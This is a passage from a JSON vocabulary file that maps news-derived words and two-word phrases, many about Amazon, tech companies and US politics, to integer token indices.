 \"parents brawl\": 44292,\n  \"amazon aurora\": 44293,\n  \"741 189\": 44294,\n  \"amato\": 44295,\n  \"surprise pic\": 44296,\n  \"st winston\": 44297,\n  \"national security\": 44298,\n  \"company selling\": 44299,\n  \"earning degree\": 44300,\n  \"cloud killer\": 44301,\n  \"russia behalf\": 44302,\n  \"baddest antitrust\": 44303,\n  \"situation breaking\": 44304,\n  \"protect people\": 44305,\n  \"whittled\": 44306,\n  \"met elizabeth\": 44307,\n  \"bossy\": 44308,\n  \"1289121590\": 44309,\n  \"paul slansky\": 44310,\n  \"twitter email\": 44311,\n  \"fueling hopes\": 44312,\n  \"pennsylvania avenue\": 44313,\n  \"reporter manuel\": 44314,\n  \"paying lip\": 44315,\n  \"complaints rare\": 44316,\n  \"government fail\": 44317,\n  \"arpu benefited\": 44318,\n  \"needed medicine\": 44319,\n  \"chattering\": 44320,\n  \"kushner roasted\": 44321,\n  \"omb acting\": 44322,\n  \"consultant network\": 44323,\n  \"broader impacts\": 44324,\n  \"stock portfolio\": 44325,\n  \"long worried\": 44326,\n  \"thomson warns\": 44327,\n  \"sanders later\": 44328,\n  \"america crazy\": 44329,\n  \"convince sellers\": 44330,\n  \"wasserstein philippe\": 44331,\n  \"super friendly\": 44332,\n  \"nobel prize\": 44333,\n  \"long trend\": 44334,\n  \"example way\": 44335,\n  \"2016 mere\": 44336,\n  \"peternell\": 44337,\n  \"blackmail followed\": 44338,\n  \"arkansas law\": 44339,\n  \"financial blogger\": 44340,\n  \"specific aspects\": 44341,\n  \"cash barcode\": 44342,\n  \"jacob\": 44343,\n  \"bonus payments\": 44344,\n  \"poverty law\": 44345,\n  \"american monuments\": 44346,\n  \"especially perturbed\": 44347,\n  \"brown jkbjournalist\": 44348,\n  \"nonprofits focused\": 44349,\n  \"strike deal\": 44350,\n  \"interviewers\": 44351,\n  \"typically make\": 44352,\n  \"giant google\": 44353,\n  \"anne overlaid\": 44354,\n  \"ban\": 44355,\n  \"computing project\": 44356,\n  \"post washingtonpost\": 44357,\n  \"representative ro\": 44358,\n  \"notably amazon\": 44359,\n  \"trillion valuation\": 44360,\n  \"possible deal\": 44361,\n  \"iridescent shroud\": 44362,\n  \"republican rep\": 44363,\n  \"balogh rochfort\": 44364,\n  \"authorities hit\": 44365,\n  \"renato mariotti\": 44366,\n  \"wage employing\": 44367,\n  \"sanders published\": 44368,\n  \"tax write\": 44369,\n  \"failing mortgages\": 44370,\n  \"wrongly accepting\": 44371,\n  \"expire soon\": 44372,\n  \"hq2 project\": 44373,\n  \"rfe\": 44374,\n  \"replacestate videocardcontents\": 44375,\n  \"state\": 44376,\n  \"return typeof\": 44377,\n  \"wmt multiples\": 44378,\n  \"oscars cbs\": 44379,\n  \"rights commission\": 44380,\n  \"christie findlay\": 44381,\n  \"president bashar\": 44382,\n  \"continue cnet\": 44383,\n  \"company donald\": 44384,\n  \"photograph op\": 44385,\n  \"cost money\": 44386,\n  \"add fewer\": 44387,\n  \"president united\": 44388,\n  \"capita personal\": 44389,\n  \"carell playing\": 44390,\n  \"politico eliana\": 44391,\n  \"rarely bad\": 44392,\n  \"sketch post\": 44393,\n  \"imposed new\": 44394,\n  \"upsets\": 44395,\n  \"company arrival\": 44396,\n  \"weixin china\": 44397,\n  \"american captains\": 44398,\n  \"way things\": 44399,\n  \"recently driving\": 44400,\n  \"entire company\": 44401,\n  \"hit great\": 44402,\n  \"estimated charge\": 44403,\n  \"palantir profit\": 44404,\n  \"require approval\": 44405,\n  \"contributors 2018\": 44406,\n  \"prelim\": 44407,\n  \"weinstein forced\": 44408,\n  \"americans haven\": 44409,\n  \"archbishop\": 44410,\n  \"realmi\": 44411,\n  \"report click\": 44412,\n  \"true colors\": 44413,\n  \"riverchase galleria\": 44414,\n  \"michael printz\": 44415,\n  \"google largest\": 44416,\n  \"love simon\": 44417,\n  \"measly cra\": 44418,\n  \"understanding consumer\": 44419,\n  \"claims norris\": 44420,\n  \"tabulating\": 44421,\n  \"shooter killed\": 44422,\n  \"functional operation\": 44423,\n  \"largest cast\": 44424,\n  \"hawn pearce\": 44425,\n  \"tweeted network\": 44426,\n  \"huge investment\": 44427,\n  \"tweeting farmers\": 44428,\n  \"week financial\": 44429,\n  \"treasurer scott\": 44430,\n  \"foto sourcefoursquare\": 44431,\n  \"branded van\": 44432,\n  \"barbecue airs\": 44433,\n  \"boteach senior\": 44434,\n  \"stem cells\": 44435,\n  \"respectively\": 44436,\n  \"imports hitting\": 44437,\n  \"democratic aligned\": 44438,\n  \"savers\": 44439,\n  \"vwioeclof0 mijente\": 44440,\n  \"certainly doesn\": 44441,\n  \"year mandating\": 44442,\n  \"actually cut\": 44443,\n  \"382 400\": 44444,\n  \"pacquiao\": 44445,\n  \"reed spotted\": 44446,\n  \"currently facing\": 44447,\n  \"new limits\": 44448,\n  \"nixonian comparisons\": 44449,\n  \"sure hope\": 44450,\n  \"opz\": 44451,\n  \"hitler anschluss\": 44452,\n  \"administration official\": 44453,\n  \"amazon remains\": 44454,\n  \"million families\": 44455,\n  \"branson worked\": 44456,\n  \"reach millionaire\": 44457,\n  \"believability\": 44458,\n  \"drive home\": 44459,\n  \"truck roots\": 44460,\n  \"upside griffeth\": 44461,\n  \"segregated\": 44462,\n  \"berman\": 44463,\n  \"cramer told\": 44464,\n  \"think slate\": 44465,\n  \"federal probe\": 44466,\n  \"accept potus\": 44467,\n  \"inducted\": 44468,\n  \"chipmakers\": 44469,\n  \"collection gado\": 44470,\n  \"grand plans\": 44471,\n  \"google earlier\": 44472,\n  \"frog cartoon\": 44473,\n  \"hahn stream\": 44474,\n  \"fox facts\": 44475,\n  \"sling\": 44476,\n  \"lackey doing\": 44477,\n  \"cisco nasdaq\": 44478,\n  \"classic kompromat\": 44479,\n  \"readers attention\": 44480,\n  \"adsbygoogle\": 44481,\n  \"2017 shares\": 44482,\n  \"quiet\": 44483,\n  \"priests misdeeds\": 44484,\n  \"archway\": 44485,\n  \"allegations published\": 44486,\n  \"development contracts\": 44487,\n  \"gvi\": 44488,\n  \"chump change\": 44489,\n  \"woodward publisher\": 44490,\n  \"dramatically additionally\": 44491,\n  \"colbert referred\": 44492,\n  \"published note\": 44493,\n  \"trump nieto\": 44494,\n  \"railing\": 44495,\n  \"orphaned children\": 44496,\n  \"3bn\": 44497,\n  \"ashtyn evans\": 44498,\n  \"salesforce crm\": 44499,\n  \"spinoffs believe\": 44500,\n  \"stillborn\": 44501,\n  \"companies fed\": 44502,\n  \"demand weakness\": 44503,\n  \"list fortnite\": 44504,\n  \"titled eve\": 44505,\n  \"visibility observations\": 44506,\n  \"president corporate\": 44507,\n  \"groups public\": 44508,\n  \"film apple\": 44509,\n  \"monster machines\": 44510,\n  \"republic newsroom\": 44511,\n  \"alarming droughts\": 44512,\n  \"season earned\": 44513,\n  \"choose city\": 44514,\n  \"annual ceremony\": 44515,\n  \"spicer common\": 44516,\n  \"squeeberang mini\": 44517,\n  \"foreignintelligencesurveillanceact michaelcohen\": 44518,\n  \"v5\": 44519,\n  \"demanding mea\": 44520,\n  \"decency\": 44521,\n  \"rows waiting\": 44522,\n  \"badly needs\": 44523,\n  \"market participants\": 44524,\n  \"line opened\": 44525,\n  \"mutual amazon\": 44526,\n  \"efforts trump\": 44527,\n  \"bank analysts\": 44528,\n  \"helped create\": 44529,\n  \"musk asked\": 44530,\n  \"lauded\": 44531,\n  \"adds china\": 44532,\n  \"management kkr\": 44533,\n  \"culture including\": 44534,\n  \"wasn aware\": 44535,\n  \"news ap\": 44536,\n  \"crystal city\": 44537,\n  \"befell\": 44538,\n  \"reveal close\": 44539,\n  \"send microneedles\": 44540,\n  \"upper west\": 44541,\n  \"traditional retailer\": 44542,\n  \"just sealed\": 44543,\n  \"john flanagan\": 44544,\n  \"good things\": 44545,\n  \"steam\": 44546,\n  \"kerry amazon\": 44547,\n  \"bubble stock\": 44548,\n  \"point making\": 44549,\n  \"baby donald\": 44550,\n  \"informant\": 44551,\n  \"marvel took\": 44552,\n  \"million mnuchin\": 44553,\n  \"trim dslr\": 44554,\n  \"corporate promises\": 44555,\n  \"spencer platt\": 44556,\n  \"area home\": 44557,\n  \"expos\": 44558,\n  \"buildings bezos\": 44559,\n  \"inspirational poem\": 44560,\n  \"ailing mccain\": 44561,\n  \"wide ranging\": 44562,\n  \"self description\": 44563,\n  \"soon yes\": 44564,\n  \"storynow watch\": 44565,\n  \"unidentified people\": 44566,\n  \"enticement\": 44567,\n  \"newest senior\": 44568,\n  \"assets representing\": 44569,\n  \"correspondents association\": 44570,\n  \"bush clarkson\": 44571,\n  \"trips\": 44572,\n  \"corporate owned\": 44573,\n  \"growth catalysts\": 44574,\n  \"racism op\": 44575,\n  \"life centered\": 44576,\n  \"using america\": 44577,\n  \"oppenheimer\": 44578,\n  \"riverfront\": 44579,\n  \"mirzapur amazon\": 44580,\n  \"die list\": 44581,\n  \"gains fuel\": 44582,\n  \"building stadiums\": 44583,\n  \"valuation crown\": 44584,\n  \"centres owned\": 44585,\n  \"johnston source\": 44586,\n  \"provide congress\": 44587,\n  \"post new\": 44588,\n  \"trump engaged\": 44589,\n  \"justice approaches\": 44590,\n  \"maker reported\": 44591,\n  \"000 word\": 44592,\n  \"services forecasts\": 44593,\n  \"politics stocks\": 44594,\n  \"globaldata surveyed\": 44595,\n  \"meltingly\": 44596,\n  \"bond issuer\": 44597,\n  \"hall laurie\": 44598,\n  \"renegotiate\": 44599,\n  \"schoolstrike4climate pic\": 44600,\n  \"loved ones\": 44601,\n  \"dominick spracklen\": 44602,\n  \"kid loves\": 44603,\n  \"amzn sellers\": 44604,\n  \"2017 sidelined\": 44605,\n  \"explained europe\": 44606,\n  \"wonkette doesn\": 44607,\n  \"unidentified\": 44608,\n  \"fx\": 44609,\n  \"controlled states\": 44610,\n  \"products soy\": 44611,\n  \"class americans\": 44612,\n  \"trailer\": 44613,\n  \"unilever amazon\": 44614,\n  \"years request\": 44615,\n  \"professionals globally\": 44616,\n  \"cuts iran\": 44617,\n  \"foreclosure protesters\": 44618,\n  \"worst terrorist\": 44619,\n  \"amazon alternative\": 44620,\n  \"care funds\": 44621,\n  \"long\": 44622,\n  \"counter trump\": 44623,\n  \"leisure items\": 44624,\n  \"envision\": 44625,\n  \"multi cloud\": 44626,\n  \"assailed\": 44627,\n  \"10b project\": 44628,\n  \"joked\": 44629,\n  \"singer singer\": 44630,\n  \"famous madame\": 44631,\n  \"giants meaning\": 44632,\n  \"continued dominance\": 44633,\n  \"growing wealth\": 44634,\n  \"echo plus\": 44635,\n  \"sounds better\": 44636,\n  \"hbo photographer\": 44637,\n  \"consolidating\": 44638,\n  \"similar struggles\": 44639,\n  \"bradbury fahrenheit\": 44640,\n  \"commending\": 44641,\n  \"michael approach\": 44642,\n  \"effort sundar\": 44643,\n  \"official works\": 44644,\n  \"entertainment trade\": 44645,\n  \"fed vice\": 44646,\n  \"reported aws\": 44647,\n  \"simply pick\": 44648,\n  \"shows new\": 44649,\n  \"server719398\": 44650,\n  \"vehicle manufacturers\": 44651,\n  \"contract provide\": 44652,\n  \"killed alabama\": 44653,\n  \"offering omarosa\": 44654,\n  \"lifespans tend\": 44655,\n  \"vice presidents\": 44656,\n  \"leaning activists\": 44657,\n  \"led google\": 44658,\n  \"region brake\": 44659,\n  \"dodging scam\": 44660,\n  \"annual terms\": 44661,\n  \"taken things\": 44662,\n  \"finally spoke\": 44663,\n  \"wondering death\": 44664,\n  \"fair\": 44665,\n  \"brings dead\": 44666,\n  \"ny holds\": 44667,\n  \"billboard truck\": 44668,\n  \"lower actual\": 44669,\n  \"continue discussions\": 44670,\n  \"meredith mazzilli\": 44671,\n  \"dick\": 44672,\n  \"ethics laws\": 44673,\n  \"payroll courses\": 44674,\n  \"sanchez including\": 44675,\n  \"somodevilla bezos\": 44676,\n  \"bush koch\": 44677,\n  \"agitator\": 44678,\n  \"75k\": 44679,\n  \"enquirer acquired\": 44680,\n  \"technology challenges\": 44681,\n  \"history negotiation\": 44682,\n  \"data amazon\": 44683,\n  \"hurston\": 44684,\n  \"regularly spend\": 44685,\n  \"growing business\": 44686,\n  \"rebels fighting\": 44687,\n  \"unraveled\": 44688,\n  \"singh introduces\": 44689,\n  \"week potus\": 44690,\n  \"aloe\": 44691,\n  \"mandatorily\": 44692,\n  \"cyber criminals\": 44693,\n  \"democrat urges\": 44694,\n  \"chef sued\": 44695,\n  \"future infrastructure\": 44696,\n  \"life inside\": 44697,\n  \"valuation threshold\": 44698,\n  \"pitt\": 44699,\n  \"mullins wsj\": 44700,\n  \"course evidence\": 44701,\n  \"net documents\": 44702,\n  \"congressional candidates\": 44703,\n  \"politifact amazon\": 44704,\n  \"financials released\": 44705,\n  \"r4ee e4e\": 44706,\n  \"commentary hardly\": 44707,\n  \"target shoppers\": 44708,\n  \"outbreaks\": 44709,\n  \"election results\": 44710,\n  \"build preschools\": 44711,\n  \"dioxide sources\": 44712,\n  \"trump haunting\": 44713,\n  \"videotape sara\": 44714,\n  \"undermining average\": 44715,\n  \"aws alibaba\": 44716,\n  \"1nhtq5v\": 44717,\n  \"sells aapl\": 44718,\n  \"compounds\": 44719,\n  \"commensurate\": 44720,\n  \"prweb\": 44721,\n  \"select styles\": 44722,\n  \"entire region\": 44723,\n  \"zappos warren\": 44724,\n  \"supercharged\": 44725,\n  \"data sheet\": 44726,\n  \"able words\": 44727,\n  \"anticompetitive manner\": 44728,\n  \"personally owns\": 44729,\n  \"aid thoughtful\": 44730,\n  \"tax decision\": 44731,\n  \"refuel\": 44732,\n  \"cabinet meeting\": 44733,\n  \"national monuments\": 44734,\n  \"far love\": 44735,\n  \"brother camera\": 44736,\n  \"email accused\": 44737,\n  \"peavine cap\": 44738,\n  \"sure george\": 44739,\n  \"function updatecurrentlyplaying\": 44740,\n  \"badges\": 44741,\n  \"paid porn\": 44742,\n  \"quarantine\": 44743,\n  \"news ahead\": 44744,\n  \"prospective investors\": 44745,\n  \"seance\": 44746,\n  \"party carriers\": 44747,\n  \"amazon experienced\": 44748,\n  \"housing drove\": 44749,\n  \"unfairly subsidizing\": 44750,\n  \"country right\": 44751,\n  \"consumer websites\": 44752,\n  \"memphis\": 44753,\n  \"represents significant\": 44754,\n  \"willforthrill\": 44755,\n  \"milton keynes\": 44756,\n  \"search warren\": 44757,\n  \"lineal\": 44758,\n  \"constant news\": 44759,\n  \"joining prior\": 44760,\n  \"sen shelley\": 44761,\n  \"mathes\": 44762,\n  \"beals randall\": 44763,\n  \"targeting trump\": 44764,\n  \"alphabet admitted\": 44765,\n  \"potential regulation\": 44766,\n  \"headline mccain\": 44767,\n  \"silence women\": 44768,\n  \"bezos suggests\": 44769,\n  \"carell play\": 44770,\n  \"grammy award\": 44771,\n  \"turning away\": 44772,\n  \"reported suspects\": 44773,\n  \"professionals\": 44774,\n  \"politics height\": 44775,\n  \"pilot arrested\": 44776,\n  \"seen recently\": 44777,\n  \"consistent donald\": 44778,\n  \"estimation\": 44779,\n  \"service despite\": 44780,\n  \"driver\": 44781,\n  \"medication prices\": 44782,\n  \"google products\": 44783,\n  \"piegza\": 44784,\n  \"forward farcical\": 44785,\n  \"creator amy\": 44786,\n  \"samian_damian\": 44787,\n  \"political pony\": 44788,\n  \"caused dozens\": 44789,\n  \"fbi planted\": 44790,\n  \"agency according\": 44791,\n  \"advertisment stocks\": 44792,\n  \"devices google\": 44793,\n  \"giugliano harvard\": 44794,\n  \"agency quietly\": 44795,\n  \"dark using\": 44796,\n  \"postage discounts\": 44797,\n  \"politicususa\": 44798,\n  \"different facet\": 44799,\n  \"new low\": 44800,\n  \"791\": 44801,\n  \"prophetic\": 44802,\n  \"jobless workers\": 44803,\n  \"nationally national\": 44804,\n  \"organizing amazon\": 44805,\n  \"critical aspects\": 44806,\n  \"vast range\": 44807,\n  \"haters laugh\": 44808,\n  \"tesla did\": 44809,\n  \"obama set\": 44810,\n  \"ave\": 44811,\n  \"whatthe\": 44812,\n  \"attendees queenschronicle\": 44813,\n  \"middle approach\": 44814,\n  \"america lets\": 44815,\n  \"pricing methods\": 44816,\n  \"pac ran\": 44817,\n  \"deems palantir\": 44818,\n  \"suisse nyse\": 44819,\n  \"day trial\": 44820,\n  \"consistently saving\": 44821,\n  \"administration task\": 44822,\n  \"shot video\": 44823,\n  \"previously consulted\": 44824,\n  \"development deal\": 44825,\n  \"trump ivanka\": 44826,\n  \"z2z1l1mdvj\": 44827,\n  \"david frum\": 44828,\n  \"checkbook\": 44829,\n  \"2019 resulting\": 44830,\n  \"dreambox dreambox\": 44831,\n  \"price stability\": 44832,\n  \"answers\": 44833,\n  \"000 teaching\": 44834,\n  \"changes currency\": 44835,\n  \"rebels\": 44836,\n  \"professionals mean\": 44837,\n  \"tech richest\": 44838,\n  \"discussion topics\": 44839,\n  \"china turkmenistan\": 44840,\n  \"ask executives\": 44841,\n  \"times early\": 44842,\n  \"washington research\": 44843,\n  \"major reform\": 44844,\n  \"coverage plan\": 44845,\n  \"thewrap request\": 44846,\n  \"expanding honestly\": 44847,\n  \"prime manageable\": 44848,\n  \"lauchlan\": 44849,\n  \"timelines challenging\": 44850,\n  \"president rallies\": 44851,\n  \"throttled\": 44852,\n  \"bring carter\": 44853,\n  \"trump foe\": 44854,\n  \"quarter hbk\": 44855,\n  \"terminally\": 44856,\n  \"searsarchives\": 44857,\n  \"stick\": 44858,\n  \"producers buoyed\": 44859,\n  \"photo tony\": 44860,\n  \"created taskforce\": 44861,\n  \"sleepwalking\": 44862,\n  \"moderate syrian\": 44863,\n  \"guy sounds\": 44864,\n  \"bigness\": 44865,\n  \"region believed\": 44866,\n  \"bowl\": 44867,\n  \"discuss topics\": 44868,\n  \"trump disapproves\": 44869,\n  \"surgery president\": 44870,\n  \"tailer poached\": 44871,\n  \"information simultaneously\": 44872,\n  \"musk sec\": 44873,\n  \"osm worldwide\": 44874,\n  \"cashless politico\": 44875,\n  \"report led\": 44876,\n  \"kids extracurricular\": 44877,\n  \"single moms\": 44878,\n  \"underperform\": 44879,\n  \"rocket booster\": 44880,\n  \"inaugural american\": 44881,\n  \"critical mass\": 44882,\n  \"person loan\": 44883,\n  \"inside relationship\": 44884,\n  \"prominent journalist\": 44885,\n  \"month news\": 44886,\n  \"reportage\": 44887,\n  \"tweeted attacks\": 44888,\n  \"rockets israeli\": 44889,\n  \"taking effect\": 44890,\n  \"partner 2019\": 44891,\n  \"conservative preoccupied\": 44892,\n  \"driving\": 44893,\n  \"50x50 uploaded_files\": 44894,\n  \"friends kavanaugh\": 44895,\n  \"posted encouraging\": 44896,\n  \"piedmont\": 44897,\n  \"business desire\": 44898,\n  \"tackled amazon\": 44899,\n  \"utm_medium social\": 44900,\n  \"roger herring\": 44901,\n  \"hope england\": 44902,\n  \"selling ivanka\": 44903,\n  \"timiraos\": 44904,\n  \"mongabay depends\": 44905,\n  \"state took\": 44906,\n  \"\\u014273billion\": 44907,\n  \"response puts\": 44908,\n  \"predatory monsters\": 44909,\n  \"calendar year\": 44910,\n  \"newswatch\": 44911,\n  \"smartphones\": 44912,\n  \"desensitized\": 44913,\n  \"dara horn\": 44914,\n  \"concussions\": 44915,\n  \"fortnite video\": 44916,\n  \"firm profits\": 44917,\n  \"surveil people\": 44918,\n  \"therefor controls\": 44919,\n  \"goods owned\": 44920,\n  \"usps amazon\": 44921,\n  \"reaching political\": 44922,\n  \"freeman repeatedly\": 44923,\n  \"fairness rules\": 44924,\n  \"lamster little\": 44925,\n  \"separately reuters\": 44926,\n  \"potentially billions\": 44927,\n  \"app inspires\": 44928,\n  \"work unlike\": 44929,\n  \"lion attack\": 44930,\n  \"tom malinowski\": 44931,\n  \"agendas\": 44932,\n  \"gop dem\": 44933,\n  \"bibulous tabloid\": 44934,\n  \"inc_homepage_lineline\": 44935,\n  \"kill agreement\": 44936,\n  \"killing soul\": 44937,\n  \"close dow\": 44938,\n  \"host city\": 44939,\n  \"attention\": 44940,\n  \"bank wholly\": 44941,\n  \"book total\": 44942,\n  \"ripoff\": 44943,\n  \"arrangements\": 44944,\n  \"wrongdoing claiming\": 44945,\n  \"couple properties\": 44946,\n  \"service argued\": 44947,\n  \"original iphone\": 44948,\n  \"promoting bizarre\": 44949,\n  \"sentiments trump\": 44950,\n  \"amazon era\": 44951,\n  \"diverging\": 44952,\n  \"italian constellation\": 44953,\n  \"earningsfriday eurozone\": 44954,\n  \"huge dollar\": 44955,\n  \"accuracy issues\": 44956,\n  \"hit game\": 44957,\n  \"welker hallie\": 44958,\n  \"basis outperforming\": 44959,\n  \"congress\": 44960,\n  \"wealth trump\": 44961,\n  \"mammoth\": 44962,\n  \"esquire article\": 44963,\n  \"share jeff\": 44964,\n  \"bezos cruising\": 44965,\n  \"rent free\": 44966,\n  \"readers including\": 44967,\n  \"arrogant power\": 44968,\n  \"jan 2019\": 44969,\n  \"calls climate\": 44970,\n  \"steven fox\": 44971,\n  \"minister\": 44972,\n  \"0515et\": 44973,\n  \"supermicro servers\": 44974,\n  \"match generally\": 44975,\n  \"division hatred\": 44976,\n  \"morning michael\": 44977,\n  \"1521260051\": 44978,\n  \"turned positive\": 44979,\n  \"business plan\": 44980,\n  \"created maintained\": 44981,\n  \"story americas\": 44982,\n  \"glowing\": 44983,\n  \"greater monetary\": 44984,\n  \"buying inventory\": 44985,\n  \"transport chilled\": 44986,\n  \"questionable oz\": 44987,\n  \"kirke\": 44988,\n  \"roars\": 44989,\n  \"poverty according\": 44990,\n  \"exact nightmare\": 44991,\n  \"voice control\": 44992,\n  \"guilty companies\": 44993,\n  \"utah reduced\": 44994,\n  \"gibbons histories\": 44995,\n  \"including cctv\": 44996,\n  \"launched mania\": 44997,\n  \"conservative rock\": 44998,\n  \"enforce political\": 44999,\n  \"lee passed\": 45000,\n  \"opinion investors\": 45001,\n  \"mackenzie pecker\": 45002,\n  \"longer streaks\": 45003,\n  \"luxembourg ireland\": 45004,\n  \"amzn gained\": 45005,\n  \"wiltshire\": 45006,\n  \"water cooler\": 45007,\n  \"technology vision\": 45008,\n  \"ninth year\": 45009,\n  \"don outright\": 45010,\n  \"model primarily\": 45011,\n  \"hadn elected\": 45012,\n  \"comment don\": 45013,\n  \"fundamental smartphone\": 45014,\n  \"upset source\": 45015,\n  \"colorful twitter\": 45016,\n  \"birds art\": 45017,\n  \"sanchez worked\": 45018,\n  \"whichever\": 45019,\n  \"kunkle\": 45020,\n  \"abbreviated\": 45021,\n  \"seek vengeance\": 45022,\n  \"likelihood\": 45023,\n  \"aiello cnbc\": 45024,\n  \"cidg davao\": 45025,\n  \"management policies\": 45026,\n  \"idiot spend\": 45027,\n  \"various execs\": 45028,\n  \"bear arms\": 45029,\n  \"genuinely believe\": 45030,\n  \"commission revenue\": 45031,\n  \"regulator taking\": 45032,\n  \"money management\": 45033,\n  \"hawley wants\": 45034,\n  \"work scheduling\": 45035,\n  \"billion lockheed\": 45036,\n  \"criticize saudi\": 45037,\n  \"direction taking\": 45038,\n  \"muddy\": 45039,\n  \"vista\": 45040,\n  \"nationwide does\": 45041,\n  \"trounced\": 45042,\n  \"kayli\": 45043,\n  \"electrical hazards\": 45044,\n  \"9jay9wndd8 betsy\": 45045,\n  \"1510et copyright\": 45046,\n  \"conquistador francisco\": 45047,\n  \"entire trump\": 45048,\n  \"retail disclaimer\": 45049,\n  \"unity\": 45050,\n  \"annual financial\": 45051,\n  \"tampering\": 45052,\n  \"sold provision\": 45053,\n  \"minimal counter\": 45054,\n  \"tony fernandes\": 45055,\n  \"twtr success\": 45056,\n  \"pinterest reports\": 45057,\n  \"defend immigration\": 45058,\n  \"wider profit\": 45059,\n  \"cata\": 45060,\n  \"exercise scientist\": 45061,\n  \"struck deal\": 45062,\n  \"durkin\": 45063,\n  \"history examining\": 45064,\n  \"political situation\": 45065,\n  \"ham\": 45066,\n  \"respect whoopi\": 45067,\n  \"amazon author\": 45068,\n  \"week note\": 45069,\n  \"150 present\": 45070,\n  \"chairs senate\": 45071,\n  \"convinced\": 45072,\n  \"word piece\": 45073,\n  \"kond\\u014d\": 45074,\n  \"watergate journalist\": 45075,\n  \"core ridesharing\": 45076,\n  \"visit remote\": 45077,\n  \"skeptical eye\": 45078,\n  \"dinesh souza\": 45079,\n  \"shadows dorsky\": 45080,\n  \"freeze\": 45081,\n  \"consequently jobs\": 45082,\n  \"bs_bullet_primary information\": 45083,\n  \"autocrats reward\": 45084,\n  \"historic time\": 45085,\n  \"audience continued\": 45086,\n  \"contaminated sinclair\": 45087,\n  \"fund stadium\": 45088,\n  \"beorma\": 45089,\n  \"brexit related\": 45090,\n  \"georgetown prep\": 45091,\n  \"pennsylvania law\": 45092,\n  \"fixed cost\": 45093,\n  \"shots kept\": 45094,\n  \"major oil\": 45095,\n  \"function playerinstance\": 45096,\n  \"maximizing package\": 45097,\n  \"cooperatively\": 45098,\n  \"positive breadth\": 45099,\n  \"wants amazon\": 45100,\n  \"uptrending\": 45101,\n  \"invitations\": 45102,\n  \"earlier books\": 45103,\n  \"trump trade\": 45104,\n  \"enforcement procedures\": 45105,\n  \"connected brother\": 45106,\n  \"2012 amazon\": 45107,\n  \"baggage fees\": 45108,\n  \"involving google\": 45109,\n  \"learnt\": 45110,\n  \"defended industrial\": 45111,\n  \"munster\": 45112,\n  \"roku fell\": 45113,\n  \"really push\": 45114,\n  \"snapping\": 45115,\n  \"transaction\": 45116,\n  \"depreciates\": 45117,\n  \"capital projects\": 45118,\n  \"ap image\": 45119,\n  \"retail names\": 45120,\n  \"times border\": 45121,\n  \"walker deal\": 45122,\n  \"elie\": 45123,\n  \"novelty gift\": 45124,\n  \"dow gain\": 45125,\n  \"prohibited\": 45126,\n  \"amazon manager\": 45127,\n  \"barbs delrahim\": 45128,\n  \"anti crime\": 45129,\n  \"blowout earnings\": 45130,\n  \"building indistinct\": 45131,\n  \"copyright_reutersapi\": 45132,\n  \"foot space\": 45133,\n  \"contradiction\": 45134,\n  \"divvy\": 45135,\n  \"wasn taken\": 45136,\n  \"proves true\": 45137,\n  \"hoxie director\": 45138,\n  \"venezuela source\": 45139,\n  \"worded\": 45140,\n  \"primarychannelarray\": 45141,\n  \"perfect boyfriend\": 45142,\n  \"include existing\": 45143,\n  \"typeof history\": 45144,\n  \"respects looks\": 45145,\n  \"conference today\": 45146,\n  \"says refugees\": 45147,\n  \"park conversation\": 45148,\n  \"worker shortage\": 45149,\n  \"unprecedented surveillance\": 45150,\n  \"telemarketing companies\": 45151,\n  \"undertook whirlwind\": 45152,\n  \"rate envelopes\": 45153,\n  \"maritime\": 45154,\n  \"risk innovation\": 45155,\n  \"curran decision\": 45156,\n  \"cnbc article\": 45157,\n  \"interested examples\": 45158,\n  \"large acquisitions\": 45159,\n  \"parents lump\": 45160,\n  \"enableautoplayblock false\": 45161,\n  \"466 pages\": 45162,\n  \"commodities transportation\": 45163,\n  \"apttus new\": 45164,\n  \"fish partners\": 45165,\n  \"ft commerce\": 45166,\n  \"agent reportedly\": 45167,\n  \"california city\": 45168,\n  \"stanley\": 45169,\n  \"genealogy fcc\": 45170,\n  \"sold exas\": 45171,\n  \"retailers collect\": 45172,\n  \"woman drags\": 45173,\n  \"children waving\": 45174,\n  \"produces devices\": 45175,\n  \"city incentives\": 45176,\n  \"online technology\": 45177,\n  \"political stage\": 45178,\n  \"denuclearization talks\": 45179,\n  \"prepare going\": 45180,\n  \"reaction ala\": 45181,\n  \"fully responsible\": 45182,\n  \"decent wage\": 45183,\n  \"spdr etf\": 45184,\n  \"livery flies\": 45185,\n  \"flat head\": 45186,\n  \"underpinning revenues\": 45187,\n  \"trump supposed\": 45188,\n  \"invited sanders\": 45189,\n  \"explanation just\": 45190,\n  \"today yeti\": 45191,\n  \"fact tech\": 45192,\n  \"victims calling\": 45193,\n  \"abramowitz defended\": 45194,\n  \"droughts international\": 45195,\n  \"risks half\": 45196,\n  \"martin 791\": 45197,\n  \"club crime\": 45198,\n  \"industries means\": 45199,\n  \"world 766th\": 45200,\n  \"ears reports\": 45201,\n  \"intelligence dr\": 45202,\n  \"change winemakers\": 45203,\n  \"frauds using\": 45204,\n  \"held unified\": 45205,\n  \"government restraint\": 45206,\n  \"planted spy\": 45207,\n  \"staff maryland\": 45208,\n  \"modi\": 45209,\n  \"college football\": 45210,\n  \"lunch time\": 45211,\n  \"initiated project\": 45212,\n  \"advocate doesn\": 45213,\n  \"divided state\": 45214,\n  \"michael hanlon\": 45215,\n  \"oust republican\": 45216,\n  \"corporations\": 45217,\n  \"environment program\": 45218,\n  \"breakouts\": 45219,\n  \"doing maiga\": 45220,\n  \"kids brains\": 45221,\n  \"shaunmckenzie86 status\": 45222,\n  \"deal altogether\": 45223,\n  \"emerging consensus\": 45224,\n  \"football feast\": 45225,\n  \"nyt sheryl\": 45226,\n  \"separatists\": 45227,\n  \"koshgarian says\": 45228,\n  \"hiring expansion\": 45229,\n  \"free ebook\": 45230,\n  \"appeals work\": 45231,\n  \"savings shrink\": 45232,\n  \"washington donald\": 45233,\n  \"offering handful\": 45234,\n  \"sustainable choices\": 45235,\n  \"l0 v0\": 45236,\n  \"platforms mlb\": 45237,\n  \"endorses climate\": 45238,\n  \"explosives\": 45239,\n  \"hired investigators\": 45240,\n  \"showed measure\": 45241,\n  \"1989\": 45242,\n  \"trends amazon\": 45243,\n  \"join trade\": 45244,\n  \"bershidsky\": 45245,\n  \"bezos played\": 45246,\n  \"heterodox\": 45247,\n  \"ad platform\": 45248,\n  \"yesterday saying\": 45249,\n  \"cincinnatis prolific\": 45250,\n  \"active nomination\": 45251,\n  \"financial losses\": 45252,\n  \"prescription drugs\": 45253,\n  \"shareholder starboard\": 45254,\n  \"apple emphasis\": 45255,\n  \"resuscitated\": 45256,\n  \"worrisome semiconductors\": 45257,\n  \"provide 500\": 45258,\n  